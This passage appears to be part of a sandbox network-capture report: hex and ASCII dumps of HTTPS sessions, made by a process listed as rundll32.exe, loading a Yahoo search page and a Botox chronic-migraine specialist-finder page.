PROMO=ono_sc=3&ono_fts=1702226896&ltv_pid=sfp&ltv_new=1&ltv_ts=1702226896&ltv_sts=1702226930&ltv_c=8 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
2023-12-10 16:48:54 UTC	2096	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 64 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 34 38 3a 35 34 20 47 4d 54 0d 0a 70 33 70 3a 20 70 6f 6c 69 63 79 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 6f 6c 69 63 69 65 73 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 77 33 63 2f 70 33 70 2e 78 6d 6c 22 2c 20 43 50 3d 22 43 41 4f 20 44 53 50 20 43 4f 52 20 43 55 52 20 41 44 4d 20 44 45 56 20 54 41 49 20 50 53 41 20 50 53 44 20 49 56 41 69 20 49 56 44 69 20 43 4f 4e 69 20 54 45 4c 6f 20 4f 54 50 69 20 4f 55 52 20 44 45 4c 69 20 53 41 4d 69 20 4f 54 52 69 20 55 4e 52 69 20 50 55 42 69 20 49 4e 44 20 50 48 59 20 4f 4e 4c 20 55 4e 49 20 50 55 52 20 46 49 4e 20 43 4f 4d 20 4e 41 56 20 49 4e 54 20 44 45 4d 20 43 4e 54 20 53 54 41 20 50 4f Data Ascii: HTTP/1.1 200 OKdate: Sun, 10 Dec 2023 16:48:54 GMTp3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA PO
2023-12-10 16:48:54 UTC	4862	IN	Data Raw: 61 34 61 61 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 69 64 3d 22 61 74 6f 6d 69 63 22 20 63 6c 61 73 73 3d 22 4e 6f 4a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 64 6e 73 2d 70 72 65 66 65 74 63 68 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6f 6e 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 37 36 78 37 36 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d Data Ascii: a4aa<!doctype html><html id="atomic" class="NoJs" lang="en-US"><head><meta http-equiv="x-dns-prefetch-control" content="on"><meta http-equiv="content-type" content="text/html; charset=UTF-8"><link rel="apple-touch-icon" sizes="76x76" href="https://s.yim
2023-12-10 16:48:54 UTC	7672	IN	Data Raw: 65 2e 74 69 6d 69 6e 67 2e 6c 6f 61 64 45 76 65 6e 74 45 6e 64 3a 21 74 7c 7c 30 3c 28 74 3d 74 28 22 6e 61 76 69 67 61 74 69 6f 6e 22 29 29 2e 6c 65 6e 67 74 68 26 26 30 3c 74 5b 30 5d 2e 6c 6f 61 64 45 76 65 6e 74 45 6e 64 29 7d 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 74 68 69 73 2e 63 6f 6e 66 69 67 3d 7b 7d 7d 72 2e 59 41 48 4f 4f 3d 72 2e 59 41 48 4f 4f 7c 7c 7b 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 74 2c 6e 29 7d 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 74 29 7d 2c 69 65 56 65 72 3a 69 2c 6d 65 72 67 65 3a 66 75 6e 63 74 69 6f 6e 20 45 28 65 2c 74 2c 6e 29 7b Data Ascii: e.timing.loadEventEnd:!t\|\|0<(t=t("navigation")).length&&0<t[0].loadEventEnd)}function e(){this.config={}}r.YAHOO=r.YAHOO\|\|{},e.prototype={set:function(e,t,n){e.setAttribute(t,n)},get:function(e,t){return e.getAttribute(t)},ieVer:i,merge:function E(e,t,n){
2023-12-10 16:48:54 UTC	14480	IN	Data Raw: 61 66 74 65 72 5f 63 72 65 61 74 65 5f 69 74 65 6d 22 2c 61 3d 22 62 65 66 6f 72 65 5f 73 68 6f 77 5f 73 61 22 2c 6f 3d 22 61 66 74 65 72 5f 72 65 73 65 74 5f 76 69 65 77 22 2c 6d 3d 22 62 65 66 6f 72 65 5f 68 69 64 65 5f 76 69 65 77 22 2c 67 3d 22 61 66 74 65 72 5f 68 69 64 65 5f 76 69 65 77 22 2c 78 3d 22 61 66 74 65 72 5f 65 78 70 61 6e 64 65 64 22 2c 52 3d 22 61 66 74 65 72 5f 69 6e 69 74 5f 63 6f 6e 74 72 6f 6c 6c 65 72 22 2c 41 3d 22 63 6c 69 63 6b 5f 61 73 73 69 73 74 22 2c 4e 3d 22 62 65 66 6f 72 65 5f 71 75 65 72 79 5f 61 73 73 69 73 74 22 2c 4c 3d 22 62 65 66 6f 72 65 5f 6b 65 79 5f 73 75 62 6d 69 74 22 2c 50 3d 22 62 65 66 6f 72 65 5f 62 75 74 74 6f 6e 5f 73 75 62 6d 69 74 22 2c 46 3d 22 62 65 66 6f 72 65 5f 73 75 62 6d 69 74 5f 71 75 65 72 79 Data Ascii: after_create_item",a="before_show_sa",o="after_reset_view",m="before_hide_view",g="after_hide_view",x="after_expanded",R="after_init_controller",A="click_assist",N="before_query_assist",L="before_key_submit",P="before_button_submit",F="before_submit_query
2023-12-10 16:48:54 UTC	10616	IN	Data Raw: 2e 68 69 67 68 5f 74 65 6d 70 2b 22 c2 b0 22 2c 6e 3d 65 2e 6c 6f 77 5f 74 65 6d 70 26 26 22 4c 3a 22 2b 65 2e 6c 6f 77 5f 74 65 6d 70 2b 22 c2 b0 22 2c 61 3d 65 2e 6c 6f 63 26 26 27 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 61 2d 73 65 70 20 73 61 2d 73 65 70 2d 6c 6f 63 22 3e e2 80 a2 3c 2f 73 70 61 6e 3e 20 27 2b 65 2e 6c 6f 63 2c 6f 3d 65 2e 77 61 72 6e 69 6e 67 3f 27 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 77 61 72 6e 69 6e 67 22 3e 3c 2f 73 70 61 6e 3e 27 3a 22 22 2c 72 3d 74 68 69 73 2e 61 70 70 2e 66 6f 72 6d 61 74 2c 6c 2e 65 6e 61 62 6c 65 48 4c 3f 65 2e 74 69 74 6c 65 3d 72 28 6c 2e 74 6d 70 6c 5f 68 6c 2c 5b 63 2c 69 2c 6f 2c 74 2c 73 2c 6e 2c 61 5d 29 3a 65 2e 74 69 74 6c 65 3d 72 28 6c 2e 74 6d 70 6c 2c 5b 63 2c 69 2c 74 2c 61 5d 29 29 7d 66 Data Ascii: .high_temp+"",n=e.low_temp&&"L:"+e.low_temp+"",a=e.loc&&'<span class="sa-sep sa-sep-loc"></span> '+e.loc,o=e.warning?'<span class="warning"></span>':"",r=this.app.format,l.enableHL?e.title=r(l.tmpl_hl,[c,i,o,t,s,n,a]):e.title=r(l.tmpl,[c,i,t,a]))}f
2023-12-10 16:48:54 UTC	3864	IN	Data Raw: 74 2e 76 61 6c 75 65 3d 22 22 3a 28 74 2e 76 61 6c 75 65 3d 53 2e 74 72 69 6d 28 74 2e 76 61 6c 75 65 29 2c 22 22 21 3d 3d 74 2e 76 61 6c 75 65 26 26 28 74 2e 76 61 6c 75 65 2b 3d 22 20 22 29 29 2c 53 2e 73 65 74 46 6f 63 75 73 28 74 29 29 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 50 74 28 29 7b 7d 66 75 6e 63 74 69 6f 6e 20 46 74 28 65 2c 74 2c 69 29 7b 76 61 72 20 73 2c 6e 3d 74 68 69 73 2e 63 6f 6e 66 69 67 2c 61 3d 6e 2e 6c 6f 67 2c 6f 3d 74 68 69 73 2e 61 70 70 2c 72 3d 6f 2e 76 69 65 77 2e 65 6c 65 6d 73 2e 73 62 49 6e 70 75 74 2c 6c 3d 69 2e 6c 69 2c 63 3d 69 2e 69 64 78 3b 74 3d 3d 3d 69 2e 65 64 69 74 26 26 69 2e 64 61 74 61 2e 6d 3d 3d 47 26 26 28 74 3d 7b 71 75 65 72 79 3a 69 2e 64 61 74 61 2e 6b 2c 61 63 74 69 6f 6e 3a 22 64 65 6c 22 2c 73 61 3a Data Ascii: t.value="":(t.value=S.trim(t.value),""!==t.value&&(t.value+=" ")),S.setFocus(t)))})}function Pt(){}function Ft(e,t,i){var s,n=this.config,a=n.log,o=this.app,r=o.view.elems.sbInput,l=i.li,c=i.idx;t===i.edit&&i.data.m==G&&(t={query:i.data.k,action:"del",sa:
2023-12-10 16:48:54 UTC	16384	IN	Data Raw: 31 2e 30 2e 32 36 39 2d 73 65 61 72 63 68 66 65 5f 64 65 73 6b 74 6f 70 5f 66 65 65 64 62 61 63 6b 22 2c 61 70 70 73 3a 73 2c 70 6c 75 67 73 3a 64 2c 61 64 64 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 64 5b 65 5d 3d 74 7d 2c 6d 73 67 3a 7b 42 45 46 4f 52 45 5f 47 45 54 5f 41 53 53 49 53 54 3a 6c 2c 42 45 46 4f 52 45 5f 44 49 53 50 4c 41 59 5f 44 41 54 41 3a 69 2c 42 45 46 4f 52 45 5f 49 4e 49 54 5f 56 49 45 57 3a 68 2c 41 46 54 45 52 5f 49 4e 49 54 5f 56 49 45 57 3a 75 2c 42 45 46 4f 52 45 5f 50 41 52 53 45 5f 44 41 54 41 3a 54 2c 42 45 46 4f 52 45 5f 55 50 44 41 54 45 5f 41 53 53 49 53 54 3a 6b 2c 41 46 54 45 52 5f 55 50 44 41 54 45 5f 4c 49 53 54 3a 49 2c 41 46 54 45 52 5f 43 52 45 41 54 45 5f 49 54 45 4d 3a 66 2c 42 45 46 4f 52 45 5f 53 48 4f 57 5f Data Ascii: 1.0.269-searchfe_desktop_feedback",apps:s,plugs:d,add:function(e,t){d[e]=t},msg:{BEFORE_GET_ASSIST:l,BEFORE_DISPLAY_DATA:i,BEFORE_INIT_VIEW:h,AFTER_INIT_VIEW:u,BEFORE_PARSE_DATA:T,BEFORE_UPDATE_ASSIST:k,AFTER_UPDATE_LIST:I,AFTER_CREATE_ITEM:f,BEFORE_SHOW_
2023-12-10 16:48:54 UTC	3888	IN	Data Raw: 6c 79 28 74 29 7d 29 2c 73 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 6e 29 2c 73 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 61 29 2c 69 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 73 29 2c 69 7d 2c 62 75 69 6c 64 44 6f 6e 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 2e 63 6f 6e 66 69 67 2e 63 73 73 2e 6e 61 6d 65 73 70 61 63 65 2c 74 3d 74 68 69 73 2c 69 3d 74 68 69 73 2e 63 72 65 61 74 65 45 6c 65 6d 28 7b 63 73 73 3a 65 2b 22 2d 63 74 2d 74 68 61 6e 6b 22 7d 29 2c 73 3d 28 69 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 74 68 69 73 2e 63 72 65 61 74 65 45 6c 65 6d 28 7b 63 73 73 3a 65 2b 22 2d 63 74 2d 74 69 74 6c 65 22 2c 74 65 78 74 3a 74 68 69 73 2e 63 6f 6e 66 69 67 2e 74 65 78 74 2e 74 68 61 6e 6b 7d 29 29 2c 69 2e 61 70 70 65 6e 64 43 68 69 Data Ascii: ly(t)}),s.appendChild(n),s.appendChild(a),i.appendChild(s),i},buildDone:function(){var e=this.config.css.namespace,t=this,i=this.createElem({css:e+"-ct-thank"}),s=(i.appendChild(this.createElem({css:e+"-ct-title",text:this.config.text.thank})),i.appendChi
2023-12-10 16:48:54 UTC	8632	IN	Data Raw: 65 72 74 42 65 66 6f 72 65 28 61 2c 70 2e 62 65 66 6f 72 65 4e 6f 64 65 29 2c 70 2e 70 61 73 66 3d 5b 5d 2c 70 2e 70 61 61 3d 5b 5d 2c 70 2e 73 68 6f 70 70 69 6e 67 52 65 66 69 6e 65 6d 65 6e 74 3d 5b 5d 2c 70 2e 62 65 66 6f 72 65 4e 6f 64 65 3d 6e 75 6c 6c 2c 70 2e 69 73 52 65 6d 6f 76 69 6e 67 48 69 73 74 6f 72 79 3d 21 31 29 7d 2c 67 65 74 49 74 65 6d 73 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 73 29 7b 76 61 72 20 61 3d 74 68 69 73 3b 73 2e 6d 3d 3d 70 3f 61 2e 72 65 6c 61 74 65 64 53 74 6f 63 6b 73 2e 70 75 73 68 28 65 29 3a 73 2e 6d 3d 3d 63 3f 61 2e 73 68 6f 70 70 69 6e 67 52 65 66 69 6e 65 6d 65 6e 74 2e 70 75 73 68 28 65 29 3a 73 2e 6d 3d 3d 64 3f 61 2e 70 61 73 66 2e 70 75 73 68 28 65 29 3a 37 32 3d 3d 73 2e 6d 3f 61 2e 70 61 61 2e 70 75 73 68 28 65 Data Ascii: ertBefore(a,p.beforeNode),p.pasf=[],p.paa=[],p.shoppingRefinement=[],p.beforeNode=null,p.isRemovingHistory=!1)},getItems:function(e,s){var a=this;s.m==p?a.relatedStocks.push(e):s.m==c?a.shoppingRefinement.push(e):s.m==d?a.pasf.push(e):72==s.m?a.paa.push(e
2023-12-10 16:48:54 UTC	14089	IN	Data Raw: 69 6d 70 6f 72 74 61 6e 74 3b 7d 23 72 65 73 75 6c 74 73 20 23 72 69 67 68 74 20 2e 6c 61 79 6f 75 74 43 65 6e 74 65 72 20 2e 63 6f 6d 70 54 65 78 74 20 73 70 61 6e 2e 73 74 72 73 2b 61 7b 63 6f 6c 6f 72 3a 23 34 64 35 31 35 36 7d 2e 62 64 63 20 23 66 74 2c 20 2e 62 64 63 20 23 66 74 20 61 7b 63 6f 6c 6f 72 3a 23 34 64 35 31 35 36 7d 23 72 65 73 75 6c 74 73 20 23 77 65 62 20 2e 41 6e 73 77 72 73 45 78 70 54 6f 70 20 2e 63 6f 6d 70 41 72 74 69 63 6c 65 4c 69 73 74 20 73 70 61 6e 7b 63 6f 6c 6f 72 3a 23 34 64 35 31 35 36 7d 23 72 65 73 75 6c 74 73 20 23 77 65 62 20 2e 41 6e 73 77 72 73 45 78 70 54 6f 70 20 2e 63 6f 6d 70 41 72 74 69 63 6c 65 4c 69 73 74 20 2e 66 63 2d 34 74 68 7b 63 6f 6c 6f 72 3a 23 34 64 35 31 35 36 7d 23 72 65 73 75 6c 74 73 20 23 77 65 Data Ascii: important;}#results #right .layoutCenter .compText span.strs+a{color:#4d5156}.bdc #ft, .bdc #ft a{color:#4d5156}#results #web .AnswrsExpTop .compArticleList span{color:#4d5156}#results #web .AnswrsExpTop .compArticleList .fc-4th{color:#4d5156}#results #we

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	49795	65.8.248.10	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:48:54 UTC	439	OUT	GET /find-a-botox-specialist?ppc_cv602dc804c9fa44a5875e128a6b1a1300&gclid=EAIaIQobChMIjq2186iFgwMVhxmiAx3FYAatEAAYAiAAEgIDEfD_BwE&gclsrc=aw.ds HTTP/1.1 Host: www.botoxchronicmigraine.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Edg/108.0.1462.54 Accept-Encoding: gzip, deflate Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
2023-12-10 16:48:54 UTC	1109	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 39 38 36 32 36 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6d 61 78 2d 61 67 65 3d 30 2c 20 73 2d 6d 61 78 61 67 65 3d 38 36 34 30 30 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 3d 22 73 65 74 2d 63 6f 6f 6b 69 65 22 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 34 38 3a 35 34 20 47 4d 54 0d 0a 45 54 61 67 3a 20 22 33 30 37 65 32 2d 36 30 62 66 Data Ascii: HTTP/1.1 200 OKContent-Type: text/html;charset=utf-8Content-Length: 198626Connection: closeAccept-Ranges: bytesCache-Control: max-age=0, s-maxage=86400Cache-Control: no-cache="set-cookie"Date: Sun, 10 Dec 2023 16:48:54 GMTETag: "307e2-60bf
2023-12-10 16:48:54 UTC	16384	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 20 20 20 20 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 2f 3e 0a 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 0a 0a 09 0a 09 09 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 68 6f Data Ascii: <!DOCTYPE HTML><html lang="en-US"> <head><meta http-equiv="content-type" content="text/html; charset=UTF-8"/><meta charset="utf-8"/><meta name="viewport" content="width=device-width, initial-scale=1"/><link rel='sho
2023-12-10 16:48:54 UTC	15455	IN	Data Raw: 6c 73 65 20 7b 0d 0a 09 09 09 09 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 27 6d 69 73 73 69 6e 67 20 6d 61 73 74 65 72 20 63 61 6d 70 61 69 67 6e 20 69 64 20 69 6e 20 71 75 65 72 79 20 6f 72 20 63 6f 72 72 65 73 70 6f 6e 64 69 6e 67 20 69 64 27 29 3b 0d 0a 09 09 09 09 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0d 0a 09 09 09 7d 0d 0a 09 09 7d 2c 0d 0a 09 09 67 65 74 51 75 65 73 74 69 6f 6e 49 44 20 3a 20 66 75 6e 63 74 69 6f 6e 28 29 7b 0d 0a 09 09 09 69 66 28 71 75 65 73 74 69 6f 6e 4c 6f 6f 6b 75 70 52 65 71 29 7b 0d 0a 09 09 09 09 2f 2f 20 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 27 51 75 65 73 74 69 6f 6e 20 49 64 20 6c 6f 6f 6b 75 70 20 52 65 71 75 69 72 65 64 27 29 3b 0d 0a 09 09 09 09 6c 65 74 20 73 75 63 63 65 73 73 53 74 61 74 65 20 3d 20 66 61 6c 73 65 3b 0d Data Ascii: lse {console.log('missing master campaign id in query or corresponding id');return false;}},getQuestionID : function(){if(questionLookupReq){// console.log('Question Id lookup Required');let successState = false;
2023-12-10 16:48:54 UTC	12792	IN	Data Raw: 72 79 73 5f 69 6e 68 65 72 69 74 65 64 22 3e 0a 0a 20 20 20 20 0a 20 20 20 20 0a 20 20 20 20 0a 20 20 20 20 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 75 6d 6e 73 20 70 61 72 62 61 73 65 22 3e 0a 3c 21 2d 2d 20 42 65 67 69 6e 3a 20 41 62 62 56 69 65 20 43 6f 6c 75 6d 6e 73 20 43 6f 6d 70 6f 6e 65 6e 74 20 2d 2d 3e 0a 0a 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 62 62 76 2d 72 6f 77 2d 63 6f 6e 74 61 69 6e 65 72 20 42 43 4d 2d 6e 65 77 2d 6d 6f 62 69 6c 65 2d 6d 65 6e 75 20 62 74 78 2d 6d 6f 62 69 6c 65 2d 6d 65 6e 75 2d 70 34 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 62 62 76 2d 72 6f 77 20 61 62 62 76 2d 72 6f 77 2d 66 6c 75 73 68 22 3e 0a 09 09 0a 09 09 Data Ascii: rys_inherited"> <div class="columns parbase">... Begin: AbbVie Columns Component --><div class="abbv-row-container BCM-new-mobile-menu btx-mobile-menu-p4"> <div class="abbv-row abbv-row-flush">
2023-12-10 16:48:54 UTC	9988	IN	Data Raw: 20 66 6f 72 20 73 69 6e 67 6c 65 20 69 74 65 6d 20 69 6e 20 74 68 65 20 6c 69 73 74 20 2a 2f 20 2d 2d 3e 20 0a 09 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 09 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 09 0a 09 09 09 09 09 09 0a 09 09 09 09 09 09 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 09 09 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 09 09 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 09 09 09 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 09 09 09 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 09 09 09 09 0a 09 0a 09 0a 09 09 0a 09 09 3c 61 20 6c 69 6e 6b 6d 64 3d 27 7b 22 74 79 70 65 22 3a 22 69 6e 74 65 72 6e 61 6c 22 2c 22 75 72 6c 22 3a 22 2f 63 6f 6e 74 65 6e Data Ascii: for single item in the list */ --> <a linkmd='{"type":"internal","url":"/conten
2023-12-10 16:48:55 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 72 6f 6c 65 3d 22 6e 6f 6e 65 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 09 0a 09 0a 09 0a 09 09 3c 61 20 64 61 74 61 2d 64 69 67 69 74 61 6c 64 61 74 61 3d 27 7b 22 64 69 67 69 74 61 Data Ascii: <li role="none"> <a data-digitaldata='{"digita
2023-12-10 16:48:55 UTC	2804	IN	Data Raw: 61 67 65 2d 74 65 78 74 20 20 61 62 62 76 2d 61 6e 69 6d 61 74 69 6f 6e 20 61 62 62 76 2d 66 61 64 65 49 6e 20 61 62 62 76 2d 61 6e 69 6d 61 74 65 2d 6f 6e 63 65 20 61 62 62 76 2d 61 6e 69 6d 61 74 65 2d 6f 6e 63 65 22 3e 0a 20 20 20 20 0a 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 62 62 76 2d 69 6d 61 67 65 2d 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 20 20 20 69 2d 62 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6d 67 20 73 72 63 3d 22 2f 63 6f 6e 74 65 6e 74 2f 64 61 6d 2f 62 6f 74 6f 78 63 68 72 6f 6e 69 63 6d 69 67 72 61 69 6e 65 2f 61 73 73 65 74 73 2f 68 65 72 6f 2d 73 74 61 72 74 69 6e 67 2d 66 69 6e 64 2d 73 70 65 63 69 61 6c 69 73 74 2d 6c 65 66 74 2d 6c 72 67 2e 70 6e 67 22 20 63 6c 61 73 73 3d 22 61 62 62 Data Ascii: age-text abbv-animation abbv-fadeIn abbv-animate-once abbv-animate-once"> <div class="abbv-image-content-container i-b"> <img src="/content/dam/botoxchronicmigraine/assets/hero-starting-find-specialist-left-lrg.png" class="abb
2023-12-10 16:48:55 UTC	16384	IN	Data Raw: 20 63 65 6e 74 65 72 3b 22 3e 46 69 6e 64 69 6e 67 20 6f 6e 65 20 77 68 6f e2 80 99 73 20 72 69 67 68 74 20 66 6f 72 20 79 6f 75 20 63 6f 75 6c 64 20 62 65 20 61 6e 20 69 6d 70 6f 72 74 61 6e 74 20 73 74 65 70 20 69 6e 20 6d 61 6e 61 67 69 6e 67 20 79 6f 75 72 20 74 72 65 61 74 6d 65 6e 74 2e 3c 2f 70 3e 0a 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 0a 3c 2f 64 69 76 3e 0a 0a 0a 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 0a 0a 0a 0a 20 20 20 20 0a 20 20 20 20 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 2f 65 74 63 2e 63 6c 69 65 6e 74 6c 69 62 73 2f 63 6f 6d 6d 6f 6e 2d 65 6c 65 6d 65 6e 74 73 2f 76 31 2f 63 6f 6d 70 6f 6e 65 6e 74 73 2f 63 6f 6e 74 65 6e 74 2f 63 6f 6e 74 61 69 6e 65 72 2f 63 6c 69 65 Data Ascii: center;">Finding one whos right for you could be an important step in managing your treatment.</p> </div></div> </div> <script type="text/javascript" src="/etc.clientlibs/common-elements/v1/components/content/container/clie
2023-12-10 16:48:55 UTC	10463	IN	Data Raw: 20 64 72 6f 6f 70 69 6e 67 20 65 79 65 6c 69 64 73 3b 20 68 6f 61 72 73 65 6e 65 73 73 20 6f 72 20 63 68 61 6e 67 65 20 6f 72 20 6c 6f 73 73 20 6f 66 20 76 6f 69 63 65 3b 20 74 72 6f 75 62 6c 65 20 73 61 79 69 6e 67 20 77 6f 72 64 73 20 63 6c 65 61 72 6c 79 3b 20 6c 6f 73 73 20 6f 66 20 62 6c 61 64 64 65 72 20 63 6f 6e 74 72 6f 6c 3b 20 74 72 6f 75 62 6c 65 20 62 72 65 61 74 68 69 6e 67 3b 20 61 6e 64 20 74 72 6f 75 62 6c 65 20 73 77 61 6c 6c 6f 77 69 6e 67 2e 3c 2f 6c 69 3e 0a 3c 2f 75 6c 3e 0a 3c 70 3e 54 68 65 72 65 20 68 61 73 20 6e 6f 74 20 62 65 65 6e 20 61 20 63 6f 6e 66 69 72 6d 65 64 20 73 65 72 69 6f 75 73 20 63 61 73 65 20 6f 66 20 73 70 72 65 61 64 20 6f 66 20 74 6f 78 69 6e 20 65 66 66 65 63 74 20 61 77 61 79 20 66 72 6f 6d 20 74 68 65 20 69 Data Ascii: drooping eyelids; hoarseness or change or loss of voice; trouble saying words clearly; loss of bladder control; trouble breathing; and trouble swallowing.</li></ul><p>There has not been a confirmed serious case of spread of toxin effect away from the i
